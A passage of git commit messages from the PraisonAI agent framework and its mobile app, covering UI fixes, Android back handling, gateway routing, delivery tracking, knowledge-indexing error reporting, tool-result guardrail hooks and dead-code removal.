* fix(mobile): Settings offers Remove only when there is a key, and refuses a bad address
Four defects, all on the Settings screen, all seen on a device running main.
1. REMOVE WAS OFFERED WITH NOTHING TO REMOVE. The OpenAI key row read "Not
set" and a `Remove` button sat under it -- a control that destroys nothing
and reports nothing, which is the defect class this package spent two days
eliminating everywhere else, surviving in the screen that introduced it.
`canClear` is now computed in the view model (`state === "configured"`, not
`!== "not-set"`: an UNRESOLVED keychain lookup is not a key), and the
presence refresh flips the button in the SAME pass that repaints the word,
so the two cannot disagree.
2. THE ENGINE ADDRESS RENDERED AS IF IT APPLIED WHEN IT COULD NOT. Its own
help said "Only used by the remote engine" while it accepted edits under
the in-process engine, which runs on the device and never contacts an
address. `SettingDef.appliesWhen` lets the REGISTRY say which setting
switches another on; the field is now disabled with "Set Engine to
remote-http to use this."
Disabled rather than hidden, and it is a close call. A field that
disappears takes the typed value off the screen with it -- the store keeps
it, but the user cannot see that it is kept, and someone flipping between
engines watches their address vanish and come back. And an address is what
a user looks for BEFORE choosing the engine that uses it: a row that is not
there cannot teach that the two are connected. A test pins the round trip:
type an address, switch to in-process, switch back, and it is still there.
3. A MALFORMED ADDRESS WAS ACCEPTED IN SILENCE. `7.0.0.1:8765` was stored,
displayed back, and discovered to be wrong only when a turn failed. The
refusal PATH has existed since #4694 (validateInput -> set -> a
`role="alert"` note beside the field); what was missing is that `baseUrl`
had no `validate` at all, so nothing was ever handed to it to refuse.
`httpUrl()` in core/settings/store.ts is that half. It refuses everything
`new URL` will not parse AND every scheme that is not http(s) -- so
`localhost:8765`, which parses as a URL whose protocol is `localhost:`,
does not slip through -- and it normalises what it accepts, so one engine
is not three settings that differ by a trailing slash. The message names an
address that WOULD work, because naming only the setting leaves the user
looking at the same string with no idea which part was wrong.
4. THE CREDENTIAL WAS FILED UNDER "ENGINE". It is not an engine setting, it
is the one field that decides whether the app answers at all, and it sat
third of three at the same weight as a picker and an address. It now leads
the screen in a section of its own. Registry order IS screen order, so the
move is the whole of the reordering; `data-lead` marks the first section so
the stylesheet can give it weight without the renderer knowing which one it
is. app.css styled `.section-heading` while the app paints
`.settings-section`, so every heading had been rendering at the browser's
default h3 -- fixed, on the class the app actually emits.
Also: every def has carried `help` since the registry was written and NOTHING
rendered it. The screen painted a label, a control and a refusal note and
dropped the sentence explaining what the field is for -- the same defect as an
inert setting, one layer along. It is on screen now.
Gates: each of the four defects, reintroduced, kills a named test -- offering
Remove with no key, disabling the address under the remote engine, dropping
the validator, and moving the key back under "Engine". Both the first PAINT
and the later sync walk are covered; a renderer corrected only by the sync
passed every end-to-end test while painting the defect.
Verified on an Android 15 emulator, light and dark: no key (no Remove), key
set (Remove offered and working), in-process (address off, with the sentence
that turns it on), remote (address live), `7.0.0.1:8765` refused on screen,
`http://10.0.0.7:9000/` accepted and normalised.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(mobile): reject query/fragment engine addresses and associate settings help via aria-describedby
httpUrl() preserved url.search, but the remote-http engine builds
`${base}/chat` by concatenation, so a stored "http://host:8765/?token=abc"
became "http://host:8765/?token=abc/chat" -- a request for "/" with a mangled
query that reaches no endpoint, while Settings reported a successful save.
Reject any address carrying a query or fragment at the point of acceptance.
Help and inactive notes were visual siblings of their controls but not
programmatically associated, so a screen-reader user heard only the field's
aria-label. Give the notes stable ids and point the control's aria-describedby
at them, keeping the inactive id in step with the disabled state in syncSettings.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
The single-agent sync path (_chat_impl) never called
telemetry.track_agent_execution, so usage telemetry silently
undercounted every synchronous Agent.chat()/Agent.start() run while
the async path (_achat_impl) recorded correctly. Mirror the async
call at the same lifecycle point.
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix: route async critical doom-loop verdict through approval override (fixes#4854)
The async tool-execution path hard-stopped on a critical loop verdict
without consulting the unified approval pipeline, unlike the sync path
which routes through _doom_loop_approved for human override / policy
control. Mirror the sync branch in execute_tool_async, offloading the
(potentially blocking) approval call to a worker thread via
asyncio.to_thread and resetting the matching history on approval.
Co-authored-by: Mervin Praison <[email protected]>
* fix: route async doom-loop approval through native approve_async (#4854)
Address Greptile review: the async critical-verdict path offloaded
_doom_loop_approved (approve_sync) to a worker thread, so an async-only
or event-loop-bound approval backend ran on a throwaway worker-thread
loop via run_coroutine_safely — losing loop-bound resources and turning
failures into spurious denials, defeating the human-override this PR
restores.
Add _doom_loop_approved_async mirroring the sync helper but using the
registry's native approve_async, awaited on the caller's loop. The async
execute path now calls it directly (no to_thread bridge).
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix: add validate_tool_result guardrail hook for tool outputs (fixes#4855)
GuardrailProtocol had no tool-result validation surface, so raw tool output
(a leaked secret, a prompt-injection payload) re-entered the LLM context
completely unguarded — validate_output only ever saw the model's paraphrase.
Adds validate_tool_result to GuardrailProtocol, GuardrailChain, and
LLMGuardrail (mirroring validate_tool_call), wires a _tool_result_guardrails
list in Agent._setup_guardrail with the same output-only exclusion, and calls
it post-execution on both the sync (tool_execution.py) and async
(execution_mixin.py) paths via a shared _apply_tool_result_guardrails helper.
Fail-closed on guardrail error, zero overhead when unset.
Co-authored-by: Mervin Praison <[email protected]>
* fix: close tool-result guardrail bypasses (error-dicts + async MCP)
- Validate ordinary tool-authored {"error": ...} results — only skip
framework denial markers (guardrail_denied/policy_denied/approval_*),
not every error-shaped dict (e.g. crawl results with both error+content).
- Apply tool-result guardrail on the async MCP early-return branch, which
previously bypassed validation for successful MCP output.
- Add 6 tests covering error-dict validation/redaction, denial passthrough,
and async MCP reject/redact.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix: honour injected registry in AutoGen router, unify auto.py lazy caches, scope PraisonAIDB bg-writes per instance (fixes#4860)
- AutoGenFamilyAdapter/AutoGenAdapter now resolve variants through the owning
registry (attached by FrameworkAdapterRegistry.create) instead of always
reaching for get_default_registry, honouring the adapter_registry DI seam.
- auto.py routes _get_workflow_models/_get_job_workflow_models through the
shared lazy_get, deleting the parallel ad-hoc cache so exception-caching and
lazy_reset semantics match _get_team_models.
- PraisonAIDB tracks fire-and-forget writes per instance so one tenant's
close()/flush no longer waits on or spends its budget on another tenant's
in-flight writes.
Co-authored-by: MervinPraison <[email protected]>
* fix: surface registered autogen_v4 plugin failures instead of masking with stub
AutoGenAdapter.resolve() previously caught ValueError/TypeError/ImportError
from registry.create("autogen_v4") and silently substituted the built-in
stub. That masked actionable failures when a v0.4 adapter was actually
registered but its loader/constructor/validation raised. Now only an
unregistered name falls back to the stub (standalone use preserved); a
registered-but-broken v4 surfaces its real error.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* fix: coordinate session learning for gateway/bot sessions (fixes#4864)
Make the flagship always-on gateway/bot actually learn who the user is:
- Core: learn=True is now a coordinated posture — it enables AGENTIC
extraction AND auto_memory AND a conversational-aware nudge cadence
(nudge_interval=10, nudge_min_tool_iters=0) in one switch, instead of
three independent opt-ins.
- Core: the nudge cadence gate treats nudge_min_tool_iters as a tunable
override rather than a hard floor — <=0 lets chat-only (tool-less)
companion turns still trigger learning.
- Core: store the raw learn= intent (_learn_enabled) so surfaces that
default-enable learning can distinguish "unset" from an explicit opt-out.
- Wrapper (praisonai-bot): apply_bot_smart_defaults enables the coordinated
learn posture by default for gateway/bot agents, reusing the core
Agent(learn=True) mechanics (no new bot knob). Opt-out via learn: false;
a pre-configured agent or user-supplied memory is left untouched.
Co-authored-by: MervinPraison <[email protected]>
* fix: honor gateway learn opt-out and enable bot-injected auto-memory (#4864)
- Read learn/session_learning opt-out from config.metadata and mapping keys,
and forward the YAML key through BotConfig.metadata in the gateway (BotConfig
has no native field), so `learn: false` actually disables session learning.
- Enable auto_memory on the bot-injected memory path (it resolved to the
framework default False, leaving the merged LearnManager inert).
- Add coverage for default-on, config/metadata/mapping opt-out, auto-memory,
user-memory-preserved, and explicit-agent-opt-out behaviours.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
Add focused regression coverage for the lookup-deferral optimisation so a
future refactor that hoists managed_runtimes()/tool_places() back to the top
of resolve_placement() fails loudly instead of silently restoring the
entry-point scan on every Agent() construction. Addresses Greptile review.
Co-authored-by: Mervin Praison <[email protected]>
resolve_placement() eagerly ran managed_runtimes() and tool_places() on
every Agent/AgentTeam/AgentFlow construction, but both are only consumed
in branches gated on run_on=/tools_run_on= being set. tool_places()
performs an importlib.metadata.entry_points scan that dominated warm
Agent() init cost, and its result was discarded on the default path.
Defer both lookups so they run only when a placement argument is
supplied. Validation semantics and every TypeError message are
unchanged; discovery of third-party runtimes/places is unaffected (no
caching, so a runtime-installed provider is still seen).
Co-authored-by: MervinPraison <[email protected]>
Extract the isolate-vs-abort-vs-ssl decision from gateway_start into a pure
classify_preflight_action() helper so the availability-critical branch is
independently testable without typer, addressing Greptile's coverage gap.
Co-authored-by: Mervin Praison <[email protected]>
The gateway start preflight collapsed all channel probes into one all-or-nothing
verdict and hard-aborted the whole process on any bad token, overriding the
runtime's CREDENTIAL_UNAVAILABLE degraded-channel isolation. Now a channel with a
bad/expired token is reported and skipped (parked degraded, auto-recovers) while
every healthy channel keeps serving. Preflight still fails closed when no channel
is serviceable, or when strict mode is opted in via --strict-preflight /
gateway.preflight.strict.
Co-authored-by: Mervin Praison <[email protected]>
Remove the parallel, runtime-unused streaming-adapter registry in
llm/streaming_protocol.py. The live streaming-capability decisions are
made by llm/adapters/ (supports_streaming / supports_streaming_with_tools),
which is wired via get_provider_adapter. streaming_protocol.py had zero
production callers and was not exported from any __init__.py.
Also drop the isolated TestGap3StreamingProtocol tests that only exercised
the dead module's own registry. All per-provider streaming semantics are
already covered by llm/adapters/, so no capability is lost.
Co-authored-by: Mervin Praison <[email protected]>
* fix(mobile): an empty chat says what the app is, and that it needs a key
On main a fresh launch renders a header, several hundred pixels of nothing,
and a Send button. Two defects share that rectangle:
#8 Nothing tells anyone what the app is or that they are meant to type.
`emptyTranscript` ("Ask something to begin.") had been in the string
table since it was written and had no caller anywhere, so an open chat
with no messages was blank -- on every launch, for a returning user
too.
#3 Nothing says an API key is required. The in-process engine is the
device default and cannot answer without one. The only thing that ever
mentioned it was the provider SDK, AFTER a message had been sent:
"The OPENAI_API_KEY environment variable is missing or empty" -- raw
SDK prose, shown to a user who did nothing wrong.
One element answers both. `ui/src/transcript/empty-state.ts` decides which
of two states to paint, or null for "paint nothing":
- no key, and an engine that needs one -> what is needed and a tap to
Settings
- otherwise -> the invitation plus one line saying what the app does
Four rules it is written around: a transcript beats everything; a missing
key only matters to an engine that reads one (the remote engine
authenticates at its own server); an UNRESOLVED keychain lookup reads as
"fine", never as "missing", so the async first paint cannot accuse a
configured user on every launch; and the action is part of the state rather
than a decoration, so "you need a key" is never a dead end.
Presence comes from `SecretsPort.has()` through the `SettingsFacade` -- rule
2 of core/src/ports/secrets.ts -- resolved on the SAME walk that paints the
settings rows, so the two cannot disagree. A test asserts the value is never
read and never reaches the rendered text.
No example prompts, deliberately. A suggestion chip is read once by someone
who already understands a message box, then sits in the way of every new
chat, and costs a translatable string per example no translator can make
right for their market. What a new user lacks here is the key, not ideas.
The panel is a SIBLING of `.transcript`, never a child: `applyOps` places
rows by `children[index]`, and New chat / Open chat / deleting the open chat
each do `transcript.textContent = ""`. It is `role="region"` named by its own
`<h2>` via `aria-labelledby` -- an `aria-label` there would replace the panel's
words in the accessibility tree (a11y/names.ts rule 3) -- and `names.ts`
gains `emptyStateName()`, read into the polite region when the state appears
or changes kind, because an empty `role="log"` announces nothing at all.
Colours are theme tokens only, and `app/src/css.test.ts` now parses app.css by
MATCHING BRACES rather than scanning to the next `}`: it asserts each selector
was found exactly once, so a rule that stops being seen fails instead of
shrinking the sample to zero and reporting success.
Rebased onto #4845 (the boot indicator). The two meet in one place and it is
pinned rather than assumed: the indicator lives inside #root, `mount` clears
#root and appends the chat screen in the same statement pair, and this panel is
a child of that screen -- so it cannot be in the DOM while the indicator is.
`the boot indicator is gone before the empty state arrives -- neither, nor both`
asserts both halves together, because either alone passes over the failure.
Measured from a 60fps device recording of a cold start with no key: indicator
2.388s-2.505s, then the app, with no blank frame between them.
Verified on an Android 35 emulator, light and dark, on a debug APK: fresh
install with no key (guidance), a key entered through Settings (welcome), one
real exchange (both gone, rows intact), and New chat (welcome returns).
Twelve mutations -- removing the panel, showing it over a transcript,
inverting the key check both ways, hardcoding a colour, dropping a dark token,
defeating `[hidden]`, dropping the safe-area insets -- each killed by a named
test. Shell bundle 82.8kB -> 84.5kB of 400kB, re-measured on the rebased base; lazy
unchanged at 1497.4kB of 1600kB.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(mobile): the empty chat follows the engine in force, and covers boot
Three corrections to the empty state, each measured before it was made. The
first two were raised by the triage bot on this branch and verified here by
running code rather than by reading it; the third and fourth came out of that
verification.
1. THE GUIDANCE FOLLOWED THE WRONG ENGINE. `engineNeedsKey` read the live
`engineId` SETTING. `createApp` selects the engine once at boot and the
controller holds that instance for the session, so the two diverge the
moment someone changes the setting. Measured: mount on a device with no
key (guidance up), set `engineId` to the remote engine, and the guidance
vanished while `app.engine.id` was still `praisonai-ts` -- the app said no
key was needed and the next message would have gone to the engine that
needs one. It reads `app.engine.id` now.
2. A KEY REMOVED IN SETTINGS WAS ANNOUNCED TO NOBODY. The polite region lives
inside the chat screen, which is `hidden` while Settings is on top, and a
hidden element is out of the accessibility tree. The transition to
"you need a key" was written there, marked as announced, and so was never
spoken -- not then, because nothing was listening, and not on return,
because it already counted as said. It is now repainted but not marked, and
`showRoute` speaks it when chat is visible again.
3. THE SETTINGS SUBSCRIPTION WAS INERT, SO IT WAS DELETED RATHER THAN NURSED.
With the engine no longer read from settings, the only thing left for it to
catch was a key change -- which the `set-secret` and `clear-secret` handlers
already repaint through `refreshSecretPresence`. Measured: emptying the
subscriber's body killed no test, and removing the subscription entirely
killed none either. Shipping it meant shipping machinery with no reader
(the #4636 defect `registry.test.ts` forbids) plus a lifetime to unsubscribe
on teardown. Deleted, and the comment now credits the mechanism that does
the work.
4. THE CHROME WAS STILL A BLANK RECTANGLE WHILE BOOT RAN. `mount` appends the
chrome and then awaits `bootOrFail`, and #4845's boot indicator has already
been retired by the `root.textContent = ""` in that same statement pair --
so the gap belongs to neither change and showed defect #8 for the length of
it. Measured on an Android 35 emulator: 117ms, 3.928s to 4.045s on a cold
start. The panel is now painted BEFORE boot with `key: "unknown"`, which is
exactly what rule 3 of empty-state.ts is for: an unresolved key reads as the
welcome, and the welcome does not depend on the engine, so the first frame
needs nothing to be known. Re-measured after: the first app frame carries
the welcome (2.510s) and the guidance lands at 2.593s, with no blank frame
and none showing both the indicator and the panel.
Four new named tests, and two of them exist because the obvious version passed
over the bug: the engine-in-force test forces a repaint through New chat (a
bare `settings.set` repaints nothing, so asserting straight after it proves
nothing), and the announcement test asserts the polite region STILL HOLDS ITS
OLD TEXT while Settings is up (a live region announces on change, so writing it
behind a hidden screen looks identical at the end and is silent in practice).
A dispose test the bot proposed was dropped with the subscription it covered;
as written it asserted only that nothing throws, which was true either way.
Seventeen mutations, no survivors. `npm run check` exit 0 on Node 22.18.0 and
24.12.0. Shell bundle 82.8kB -> 84.6kB of 400kB; lazy unchanged at 1497.4kB.
Co-Authored-By: Claude Opus 5 <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Replace `rimraf dist` with a Node builtin `fs.rmSync` one-liner so the
prepare/prebuild lifecycle no longer depends on an installed devDependency.
This unblocks `npm ci` in fresh worktrees where praisonai-mobile depends on
praisonai-ts via file:, which triggered prepare before rimraf was installed.
Co-authored-by: MervinPraison <[email protected]>
* fix(mobile): a cold start says the app is starting instead of showing nothing
Launching the app painted nothing at all -- no wordmark, no text, no
background beyond the theme's -- from the tap until app.js had been
fetched, parsed and run. Measured on an Android 15 emulator (software
GPU, `am force-stop` then `am start`, timed from the WebView's own
first-contentful-paint): 1.36s of white in light mode, 1.42s of black in
dark, and longer on slower silicon or a cold cache. There was nothing in
any of it to tell a user the app was starting rather than broken.
index.html said #root was "deliberately empty: a skeleton rendered here
would be a second source of truth for a layout the view models already
own", and that is right. A boot indicator is not a skeleton: a wordmark
and one line of text mirror no layout, own no view-model state, and name
nothing the app renders. The comment now draws that line explicitly so
the next reader does not revert this on the strength of the old one.
- app/index.html paints `PraisonAI` / `Starting…` inside #root, so it
is in the first frame the parser can produce -- before any module has
executed, which is the only moment that covers anything.
- app/app.css styles it from the render-blocking stylesheet, entirely
in the existing :root tokens, so a dark device gets a dark boot
screen and then a dark app rather than a white flash. It consumes
--inset-* as padding, which falls back to env() before the shell has
written the real numbers.
- Removal is `mount()`'s existing `root.textContent = ""`, in the same
statement pair that appends the chat screen: no frame with both, none
with neither, and renderFatal clears the same way. On a boot fast
enough for the first presented frame to already hold the app, the
indicator is gone before it is ever painted -- so a fast start pays
nothing and only a slow one sees it.
It is static, deliberately. Nothing running before app.js executes can
observe how far the boot has got, so a spinner or a bar would be motion
the compositor keeps running even when the main thread is dead: an
assertion of liveness nobody is in a position to make.
The one boot failure with nobody left to report it is app.js itself
failing, because crash.ts is installed by `mount()` inside the module
that failed -- and a static "Starting…" left alone in that state is a
blank page that lies. app/boot-guard.js, a classic script loaded before
the bundle (the CSP is `script-src 'self'`, so no inline script and no
onerror attribute), listens for `error` in the CAPTURE phase, because a
resource error does not bubble. It reveals a notice already present in
the markup and withdraws "Starting…". It speaks only while the indicator
is still on screen, so it never doubles up with crash.ts.
Gates, each killed by a named test: removing the indicator, leaving it on
screen after the first render, building it from script instead of markup,
hardcoding its colours, dropping the safe-area insets, silencing the
guard, moving it to the bubble phase, letting it report a failed icon as
a failed boot, dropping its presence check, loading it after app.js, and
leaving it out of the build. Bundle budgets are untouched: boot-guard.js
is copied verbatim like register-sw.js, not bundled -- shell 82.6kB and
lazy 1497.4kB, unchanged.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(mobile): scope boot guard to app.js and gate the verbatim scripts
Restrict boot-guard.js's failure notice to the app bundle: a failed
register-sw.js (a classic script that runs during parse, before the
deferred app.js module) no longer flashes "could not start" on a page
that still boots. A window-target throw is still reported.
Add the copied-verbatim boot-guard.js and register-sw.js to the
Chrome-floor syntax gate (bundle-target.test.mjs), so ES6+ syntax in
the only pre-bundle failure reporter cannot pass CI and then fail to
parse on the declared minSdkVersion WebView.
Addresses both Greptile P2 findings on PR #4845.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix(mobile): Back on Settings no longer leaves the app
Reproduced on an Android 15 emulator with an instrumented build. The
plumbing was all correct and all of it ran: Kotlin handed the press to
Rust, Rust emitted `back-gesture`, the webview's router popped Settings
and answered `handled: true`. It answered too late. The round trip was
measured at 0.7 s on one press and 5.4 s on the next, against a 400 ms
watchdog -- so `Gate::timed_out` had already read the silence as "the app
does not want this press" and handed it to Android, which took the app
away from a user standing on a screen their own router had already left.
Nothing in either test suite could see it: every TypeScript test answers
the gesture synchronously, and the Rust gate's tests assert exactly the
timeout behaviour that is wrong on a device.
The fix removes the race rather than lengthening it. The webview now
DECLARES whether it can go back -- on attach, on every stack change, and
`false` on detach -- through a new `ShellPort.setCanGoBack` and the
`back_gesture_can_go_back` command. That state is already in Rust when a
press arrives, so a late answer no longer decides anything: silence falls
back only when the app has said it has nowhere to go. An explicit answer
still outranks the declaration, and the declaration defaults to false, so
a bundle that never loaded is still an app back can leave. The crash
screen declares false too -- a dead webview must not swallow the gesture.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(mobile): Back at the root backgrounds the app instead of killing it
The other half of the same press, found while verifying the first. With
Back on Settings fixed, Back on the root chat was measured on an Android
15 emulator ending in `WIN DEATH` for MainActivity and an empty `pidof`:
the process was gone, so returning to the app was a cold start and the
composer draft, the transcript and any live run were lost.
The plugin's own comment claimed the opposite -- that the system default
"moves the task to the back rather than destroying the activity" on
Android 12+. That is true of the press the SYSTEM dispatches; calling
`onBackPressedDispatcher.onBackPressed()` ourselves walks the app-level
path, which ends in `Activity.onBackPressed` -> `finishAfterTransition()`.
`defer()` now splits the two cases: at the task root the app is
backgrounded with `moveTaskToBack(true)`, and anywhere else the press is
still re-dispatched to whatever sits beneath the callback. Verified on
the emulator: the launcher comes forward, `pidof` keeps its PID, and
returning shows the same screen with the draft still in the composer.
Kotlin has no test harness in this package, so the gate is a source
assertion in tools/shell-seam.test.mjs -- the same shape as the one
tests/wiring.rs uses for the lines no mock runtime can reach.
Co-Authored-By: Claude Opus 5 <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Move thread_id/guild_id to the end of the RouteBinding dataclass so
existing positional constructors keep their meaning — inserting them
before priority silently reinterpreted old positional calls (Issue #4839
review, greptile P1). Keyword usage and all 70 route tests unaffected.
Co-authored-by: Mervin Praison <[email protected]>
Address review feedback on #4830:
- recover_orphans now returns ALL undelivered LOST runs (not just freshly
reconciled), so a failed/interrupted delivery retries on the next boot
instead of silently dropping the user's wake-back forever.
- Gateway _recover_orphaned_runs now calls mark_delivered only when the
notice lands (or when a run has no route), integrating the exactly-once
guarantee into the production recovery path.
- Migration only swallows "duplicate column name"; any other
OperationalError (locked DB, disk full) now re-raises so startup fails
loudly rather than continuing without the delivered column.
- Tests: retry-without-re-arming, migration-from-old-schema,
retry-across-reopen, gateway mark_delivered on success/no-route.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
Extend the core routing contract so one gateway can multiplex by the
natural tenant units of the biggest platforms:
- RouteFacts gains optional thread_id, guild_id, parent_channel_id.
- RouteBinding gains optional thread_id/guild_id conditions, a thread>peer>
channel>guild specificity ordering, and parent-chain matching (a
channel_id condition also matches a thread whose parent is that channel).
- Wrapper _build_route_facts + the Discord-style and Telegram call sites
populate the new facts from the inbound envelope.
All fields optional; existing configs and the flat routes map resolve
exactly as before.
Co-authored-by: MervinPraison <[email protected]>
- deliver() now propagates queued/duplicate from per-chunk SendResults into the
aggregate so a deferred (outbox) or at-least-once (crash-recovered) delivery is
no longer silently reported as "sent"
- SendResult.status typed as new SendStatus = Literal["sent","failed","queued","duplicate"]
so static callers can verify exhaustive handling; SendStatus exported from bots
- add regression tests for deliver() single- and multi-chunk aggregation
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-authored-by: Mervin Praison <[email protected]>
Path-prefixed local endpoints (e.g. http://host:8000/openai) supplied via
PRAISONAI_LOCAL_ENDPOINTS are now probed at <path>/v1/models and keep their
path in the returned base URL. The Ollama-native /api/tags root probe is
skipped when a non-/v1 path prefix is present so the path is never rewritten.
Co-authored-by: Mervin Praison <[email protected]>
- playwright_agent._launch(): catch missing-Chromium runtime error and
re-raise with the documented `playwright install <engine>` hint instead
of an opaque launch traceback (fixes Greptile P1 for praisonai[browser]/[all]).
- Add tests/unit/test_install_no_browser_download.py: asserts setup.py has
no cmdclass/PostInstallCommand override and that packaging hooks never
invoke playwright install (fixes Greptile P2, guards #4824 regression).
Co-authored-by: Mervin Praison <[email protected]>
Address the three P1 review findings on the indexing-failure reporting path:
1. store() catches embedding/persistence exceptions and returns a falsy
empty list rather than raising, so a directory whose every file failed
to embed still returned a success-shaped result with no errors. Detect a
falsy store() result per chunk and raise when every chunk of a file was
swallowed, so the directory walk records it in `errors`. A truthy result
with no `results` ids (e.g. mem0's {'ok': True}) is still a success.
2. add([dir]) aggregated only child `results` and dropped the new `errors`
field, hiding per-file failures behind the old success shape. The list
branch now aggregates child errors too.
3. The test module installed a fake OPENAI_API_KEY at import time, mutating
process-wide env for the whole run. Removed; these tests mock store() and
never reach an embedding backend.
Adds tests for the swallowed-store path and list-input error propagation.
Co-authored-by: Mervin Praison <[email protected]>
The chunking regression test mocks store/normalize_content and never calls
embeddings, so the module-level os.environ["OPENAI_API_KEY"] assignment was
dead weight that mutated the process env for the whole session (Greptile).
Removed; all 11 tests still pass.
Co-authored-by: Mervin Praison <[email protected]>
Add a core-owned enforcing seam so a run that reaches a terminal state on
recovery is delivered back to its origin channel exactly once, instead of
being silently recorded as LOST and never notified.
- protocols.py: add TerminalOutcomeDelivererProtocol (transport contract) and
a notify_recovered(ledger, deliverer) binder that delivers each recovered
record and marks it delivered only on success (failures stay visible and
retryable). Add RunRecord.delivered bookkeeping + mark_delivered to the
ledger protocol.
- sqlite_ledger.py: persist the delivered column (additive migration for older
ledger.db), implement mark_delivered, and return only undelivered LOST runs
from recover_orphans so a restart never re-notifies.
Mirrors the existing job_manager.reconcile_on_start(redeliver=...) pattern;
the wrapper supplies only the concrete channel transport.
Co-authored-by: MervinPraison <[email protected]>
The directory walk caught every per-file exception, logged it at WARNING and
dropped it:
except Exception as e:
logger.warning(f"Failed to process file {file_path}: {e}")
then returned {'results': [...], 'relations': []}. So a directory whose every
file failed to embed -- a wrong model, a revoked key, an exhausted quota --
returned a success-shaped result with an empty list, and the caller believed
the knowledge base was populated. The only trace was a warning in a log
nobody reads during a bulk import.
Failures now come back in an 'errors' list beside the results, each naming
the file and the reason. And when nothing was indexed *and* files failed, the
log says so: the old "No supported files found in directory" line was
actively misleading in that case, sending the user to look for a globbing
problem when the real cause was a broken embedding backend.
This is how the repo's own knowledge tests came to fail confusingly. They
guard with `except ... if "api_key" in str(e): pytest.skip(...)`, but no
exception ever escaped for that guard to catch -- so instead of skipping,
they asserted on an empty result and failed.
Existing callers are unaffected: 'results' and 'relations' keep their shape,
'errors' is additive. 6 tests; reverting turns them red.
Co-Authored-By: Claude Opus 5 <[email protected]>
Make BotProtocol.send_message return a typed, branchable delivery outcome
instead of a bare BotMessage, so a silent drop is unrepresentable. Reuse the
existing transport-neutral SendResult (no duplicate DeliveryReceipt) by adding
a closed `status` union (sent/failed/queued/duplicate) derived from new
`queued`/`duplicate` flags. Legacy BotMessage returns stay backward-compatible.
Co-authored-by: MervinPraison <[email protected]>
_process_single_input has three branches. The document/media branch chunks.
The unlisted-extension branch chunks. The `text` branch -- .txt .csv .json
.xml .md .html .htm, which is what most people actually index -- did neither:
memories = [self.normalize_content(content)]
One memory for the whole file, lowercased. So chunk_size and chunk_overlap
were inert on the commonest path, while working correctly on the other two.
Measured with chunk_size=200 on the same 20 KB of content:
before guide.md memories= 1 largest=20817 lowercased=True
data.txt memories= 1 largest=20817 lowercased=True
notes.rst memories= 30 largest= 695 lowercased=False
after all three memories= 30 largest= 695 case preserved
The asymmetry is the tell: identical content indexed two completely
different ways depending only on the file extension. A 20 KB guide became a
single 20 KB memory that no retrieval could rank usefully, and the case of
every identifier and proper noun was destroyed on the way to the model.
normalize_content itself is left alone -- it is public, and still used for
the genuinely-raw-string branch where no file is involved.
11 tests, including one asserting all three branches agree and one asserting
chunk_size actually changes the result rather than merely being accepted.
Reverting turns them red. tests/unit/knowledge goes from 14 failures to 7;
the remaining 7 call the live OpenAI embeddings API and fail here for lack
of model access, identically on a clean checkout.
Co-Authored-By: Claude Opus 5 <[email protected]>
* refactor(llm): delete the adapter surface nothing calls
Removes 11 methods and 2 module functions from the provider-adapter layer, all
with zero call sites, proven by the reachability ratchet added in the parent
commit.
The instinct here is to wire these up rather than delete them. That is wrong for
most of them, and the distinction is what makes this safe:
no inline equivalent anywhere - pure speculative API, nothing to move in:
get_streaming_adapter, inject_cache_control, extract_reasoning_tokens,
list_provider_adapters, has_provider_adapter
inline equivalent exists but is incompatible:
format_tools - the inline behaviour is the INVERSE of the adapter's
(inline passes Gemini internal tools through
unwrapped; the adapter wraps them), so wiring it
would change what Gemini receives
parse_tool_calls - its Dict[str, Any] signature cannot express the
litellm ModelResponse object llm.py:4591 actually
receives; wiring it means inventing API
post_tool_iteration - sets a state flag nothing reads; the real behaviour
is append-a-message-and-continue, not expressible
through a None-returning mutator
strictly worse than what already exists:
supports_structured_output - model_capabilities.supports_structured_outputs
is live and per-MODEL; this is per-PROVIDER
get_max_iteration_threshold - duplicates should_summarize_tools under another
name; wiring it would change the threshold from
1 to 10 for every non-Ollama provider
provably unreachable:
should_skip_streaming_with_tools - GeminiAdapter.supports_streaming_with_tools()
is already False, so the guard three lines
above always fires first
Also deletes the corresponding llm.py branch that shadowed the last one. It read
`if use_streaming and formatted_tools and self._is_gemini_model()` immediately
after `use_streaming` had already been set False for exactly that case. Verified:
get_provider_adapter('gemini').supports_streaming_with_tools() is False.
has_provider_adapter carried a latent bug on its way out: it has no .lower(), so
has_provider_adapter("Ollama") was False while get_provider_adapter("Ollama")
succeeded. Untested dead code that disagreed with its own sibling.
DefaultAdapter goes from 17 methods to 8. Six have live call sites; the two that
remain in KNOWN_DEAD (handle_empty_response_with_tools,
